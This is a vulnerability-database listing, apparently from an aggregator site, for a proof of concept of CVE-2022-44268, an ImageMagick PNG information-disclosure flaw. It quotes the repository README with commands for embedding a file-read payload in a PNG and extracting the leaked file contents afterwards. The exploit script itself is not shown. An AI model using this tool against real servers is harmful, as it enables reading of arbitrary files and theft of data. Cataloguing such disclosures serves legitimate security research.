CVE-2022-44268 PoC — ImageMagick 安全漏洞

Source

https://github.com/CygnusX-26/CVE-2022-44268-fixed-PoC

Associated Vulnerability

Title: ImageMagick 安全漏洞 (CVE-2022-44268)
Description:ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary. file (if the magick binary has permissions to read it).

Readme

# Fixed version of CVE-2022-44268

Some PoCs don't work for specific file contents. This PoC may work for contents that don't work with other PoCs.

# Installation
Git clone this repo. Then, install the requirements.
```sh
pip install -r requirements.txt
```

# Usage
To embed your payload within an image:
```sh
python3 MagickPNG.py -i <image to modify> -f <file to read> -o <output file>
```

> Then use ImageMagick to update your PNG.

To extract data from the ImageMagick modified file:
```sh
python3 MagickPNG.py -d <resulting image> -o <output file>
```

If this doesnt work, try using exiftool to extract the bytes as hex.
```sh
exiftool -all:all -s image.png -b
```

### original poc:
[here](https://github.com/kljunowsky/CVE-2022-44268)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →